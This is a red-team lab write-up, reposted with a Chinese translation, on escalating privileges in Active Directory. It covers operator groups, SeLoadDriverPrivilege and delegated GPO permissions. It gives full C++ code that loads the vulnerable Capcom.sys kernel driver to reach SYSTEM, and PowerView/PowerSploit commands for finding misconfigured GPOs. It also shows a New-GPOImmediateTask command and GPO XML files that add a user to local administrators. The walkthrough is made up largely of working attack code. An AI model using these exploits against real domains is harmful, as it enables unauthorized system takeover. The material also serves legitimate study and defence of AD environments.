Privileged Accounts and Token Privileges

Administrators, Domain Admins, Enterprise Admins are well known AD groups that allow for privilege escalation, that pentesters and red teamers will aim for in their engagements, but there are other account memberships and access token privileges that can also be useful during security assesments when chaining multiple attack vectors.
管理员、域管理员、企业管理员是众所周知的 AD 组,它们允许权限升级,渗透测试人员和红队成员将在他们的参与中瞄准这些组,但还有其他帐户成员身份和访问令牌权限,在链接多个攻击媒介时,在安全评估期间也很有用。

Account Operators 账户运营商
  • Allows creating non administrator accounts and groups on the domain
    允许在域上创建非管理员帐户和组

  • Allows logging in to the DC locally
    允许本地登录到 DC

Note the spotless’ user membership:
请注意一尘不染的用户成员身份:

Privileged Accounts and Token Privileges

However, we can still add new users:
但是,我们仍然可以添加新用户:

Privileged Accounts and Token Privileges

As well as login to DC01 locally:
以及在本地登录 DC01:

Privileged Accounts and Token Privileges
Server Operators 服务器操作员

This membership allows users to configure Domain Controllers with the following privileges:
此成员身份允许用户使用以下权限配置域控制器:

  • Allow log on locally 允许本地登录

  • Back up files and directories
    备份文件和目录

  • Change the system time 更改系统时间

  • Change the time zone 更改时区

  • Force shutdown from a remote system
    从远程系统强制关机

  • Restore files and directories
    还原文件和目录

  • Shut down the system 关闭系统

Note how we cannot access files on the DC with current membership:
请注意,我们无法访问具有当前成员资格的 DC 上的文件:

Privileged Accounts and Token Privileges

However, if the user belongs to Server Operators:
但是,如果用户属于 Server Operators

Privileged Accounts and Token Privileges

The story changes: 故事发生了变化:

Privileged Accounts and Token Privileges
Backup Operators 备份操作员

As with Server Operators membership, we can access the DC01 file system if we belong to Backup Operators:
Server Operators 成员身份一样,如果我们属于 Backup Operators 以下类别, DC01 我们可以访问文件系统:

Privileged Accounts and Token Privileges
SeLoadDriverPrivilege

A very dangerous privilege to assign to any user – it allows the user to load kernel drivers and execute code with kernel privilges aka NT\System. See how offense\spotless user has this privilege:
分配给任何用户的非常危险的权限 – 它允许用户加载内核驱动程序并使用内核权限执行代码,又名 NT\System .查看用户如何 offense\spotless 拥有此权限:

Privileged Accounts and Token Privileges

Whoami /priv shows the privilege is disabled by default:
Whoami /priv 显示默认情况下该权限处于禁用状态:

Privileged Accounts and Token Privileges

However, the below code allows enabling that privilege fairly easily:
但是,以下代码允许相当容易地启用该权限:

privileges.cpp

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

int main()
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	bool bEnablePrivilege(true);
	HANDLE hToken(NULL);
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		L"SeLoadDriverPrivilege",   // privilege to lookup 
		&luid))        // receives LUID of privilege
	{
		printf("LookupPrivilegeValue error: %un", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	
	if (bEnablePrivilege) {
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	}
	
	// Enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("AdjustTokenPrivileges error: %x", GetLastError());
		return FALSE;
	}

	system("cmd");
    return 0;
}

We compile the above, execute and the privilege SeLoadDriverPrivilege is now enabled:
我们编译上述内容,执行并启用权限 SeLoadDriverPrivilege

Privileged Accounts and Token Privileges
Capcom.sys Driver Exploit
Capcom.sys驱动程序漏洞

To further prove the SeLoadDriverPrivilege is dangerous, let’s exploit it to elevate privileges.
为了进一步证明它是 SeLoadDriverPrivilege 危险的,让我们利用它来提升特权。

Let’s build on the previous code and leverage the Win32 API call ntdll.NtLoadDriver() to load the malicious kernel driver Capcom.sys. Note that lines 55 and 56 of the privileges.cpp are:
让我们在前面的代码的基础上进行构建,并利用Win32 API调用 ntdll.NtLoadDriver() 来加载恶意内核驱动程序 Capcom.sys 。请注意,第 privileges.cpp 55 行和第 56 行是:

PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";

The first one declares a string variable indicating where the vulnerable Capcom.sys driver is located on the victim system and the second one is a string variable indicating a service name that will be used (could be any service) when executing the exploit:
第一个声明一个字符串变量,指示易受攻击的Capcom.sys驱动程序在受害系统上的位置,第二个是一个字符串变量,指示在执行漏洞利用时将使用的服务名称(可以是任何服务):

privileges.cpp

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#include <stdlib.h>
#include <locale.h>
#include <iostream>
#include "stdafx.h"

NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);

int main()
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	bool bEnablePrivilege(true);
	HANDLE hToken(NULL);
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		L"SeLoadDriverPrivilege",   // privilege to lookup 
		&luid))        // receives LUID of privilege
	{
		printf("LookupPrivilegeValue error: %un", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	
	if (bEnablePrivilege) {
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	}
	
	// Enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("AdjustTokenPrivileges error: %x", GetLastError());
		return FALSE;
	}

	//system("cmd");
	// below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
	std::cout << "[+] Set Registry Keys" << std::endl;
	NTSTATUS st1;
	UNICODE_STRING pPath;
	UNICODE_STRING pPathReg;
	PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
	PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";
	const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
	HMODULE hObsolete = GetModuleHandleA(NTDLL);
	*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
	*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
	*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");

	RtlInitUnicodeString(&pPath, pPathSource);
	RtlInitUnicodeString(&pPathReg, pPathSourceReg);
	st1 = NtLoadDriver(&pPathReg);
	std::cout << "[+] value of st1: " << st1 << "\n";
	if (st1 == ERROR_SUCCESS) {
		std::cout << "[+] Driver Loaded as Kernel..\n";
		std::cout << "[+] Press [ENTER] to unload driver\n";
	}

	getchar();
	st1 = NtUnloadDriver(&pPathReg);
	if (st1 == ERROR_SUCCESS) {
		std::cout << "[+] Driver unloaded from Kernel..\n";
		std::cout << "[+] Press [ENTER] to exit\n";
		getchar();
	}

    return 0;
}

Once the above code is compiled and executed, we can see that our malicious Capcom.sys driver gets loaded onto the victim system:
编译并执行上述代码后,我们可以看到我们的恶意 Capcom.sys 驱动程序被加载到受害者系统上:

Privileged Accounts and Token Privileges
10KB 10KB存储
Capcom.sys

We can now download and compile the Capcom exploit from https://github.com/tandasat/ExploitCapcom and execute it on the system to elevate our privileges to NT Authority\System:
我们现在可以从 https://github.com/tandasat/ExploitCapcom 下载并编译 Capcom 漏洞并在系统上执行它,以将我们的权限提升到 NT Authority\System

Privileged Accounts and Token Privileges
GPO Delegation GPO 委派

Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with offense\spotless user:
有时,某些用户/组可能会被委派访问权限来管理组策略对象,就像 offense\spotless 用户一样:

Privileged Accounts and Token Privileges

We can see this by leveraging PowerView like so:
我们可以通过利用 PowerView 来了解这一点,如下所示:

attacker@victim

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

The below indicates that the user offense\spotless has WriteProperty, WriteDacl, WriteOwner privileges among a couple of others that are ripe for abuse:
下面表明该用户 offense\spotless 具有 WriteProperty、WriteDacl、WriteOwner 权限以及其他几个容易被滥用的权限:

Privileged Accounts and Token Privileges

More about general AD ACL/ACE abuse refer to the lab:
有关一般AD ACL/ACE滥用的更多信息,请参阅实验室:

PAGE Abusing Active Directory ACLs/ACEs
滥用 Active Directory ACL/ACE

Abusing the GPO Permissions
滥用 GPO 权限

We know the above ObjectDN from the above screenshot is referring to the New Group Policy Object GPO since the ObjectDN points to CN=Policies and also the CN={DDC640FF-634A-4442-BC2E-C05EED132F0C} which is the same in the GPO settings as highlighted below:
我们知道上面屏幕截图中的上述 ObjectDN 指的是 New Group Policy Object GPO,因为 ObjectDN 指向 CN=Policies GPO 设置中的 CN={DDC640FF-634A-4442-BC2E-C05EED132F0C} GPO 设置,如下所示:

Privileged Accounts and Token Privileges

If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:
如果我们要专门搜索配置错误的 GPO,我们可以像这样链接来自 PowerSploit 的多个 cmdlet:

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Privileged Accounts and Token Privileges
Computers with a Given Policy Applied
应用了给定策略的计算机

We can now resolve the computer names the GPO Misconfigured Policy is applied to:
现在,我们可以解析 GPO Misconfigured Policy 应用于的计算机名称:

Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
Privileged Accounts and Token Privileges
ws01.offense.local has “Misconfigured Policy” applied to it
Policies Applied to a Given Computer

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
Privileged Accounts and Token Privileges
OUs with a Given Policy Applied

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
Privileged Accounts and Token Privileges
Abusing Weak GPO Permissions

One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
Privileged Accounts and Token Privileges

The above will add our user spotless to the local administrators group of the compromised box. Note how prior to the code execution the group does not contain user spotless:

Privileged Accounts and Token Privileges
Force Policy Update

ScheduledTask and its code will execute after the policy updates are pushed through (roughly each 90 minutes), but we can force it with gpupdate /force and see that our user spotless now belongs to local administrators group:

Privileged Accounts and Token Privileges
Under the hood

If we observe the Scheduled Tasks of the Misconfigured Policy GPO, we can see our evilTask sitting there:

Privileged Accounts and Token Privileges

Below is the XML file that got created by New-GPOImmediateTask that represents our evil scheduled task in the GPO:

\\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
        <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
            <Task version="1.3">
                <RegistrationInfo>
                    <Author>NT AUTHORITY\System</Author>
                    <Description></Description>
                </RegistrationInfo>
                <Principals>
                    <Principal id="Author">
                        <UserId>NT AUTHORITY\System</UserId>
                        <RunLevel>HighestAvailable</RunLevel>
                        <LogonType>S4U</LogonType>
                    </Principal>
                </Principals>
                <Settings>
                    <IdleSettings>
                        <Duration>PT10M</Duration>
                        <WaitTimeout>PT1H</WaitTimeout>
                        <StopOnIdleEnd>true</StopOnIdleEnd>
                        <RestartOnIdle>false</RestartOnIdle>
                    </IdleSettings>
                    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
                    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
                    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
                    <AllowHardTerminate>false</AllowHardTerminate>
                    <StartWhenAvailable>true</StartWhenAvailable>
                    <AllowStartOnDemand>false</AllowStartOnDemand>
                    <Enabled>true</Enabled>
                    <Hidden>true</Hidden>
                    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
                    <Priority>7</Priority>
                    <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
                    <RestartOnFailure>
                        <Interval>PT15M</Interval>
                        <Count>3</Count>
                    </RestartOnFailure>
                </Settings>
                <Actions Context="Author">
                    <Exec>
                        <Command>cmd</Command>
                        <Arguments>/c net localgroup administrators spotless /add</Arguments>
                    </Exec>
                </Actions>
                <Triggers>
                    <TimeTrigger>
                        <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
                        <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
                        <Enabled>true</Enabled>
                    </TimeTrigger>
                </Triggers>
            </Task>
        </Properties>
    </ImmediateTaskV2>
</ScheduledTasks>
Users and Groups

The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user spotless is added to the local administrators group – we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user spotless:

\\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="spotless" action="ADD" sid="" />
            </Members>
        </Properties>
    </Group>
</Groups>

Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.

References

原文始发于RedTeamNotes:Privileged Accounts and Token Privileges

版权声明:admin 发表于 2024年3月22日 下午11:22。
转载请注明:Privileged Accounts and Token Privileges | CTF导航

相关文章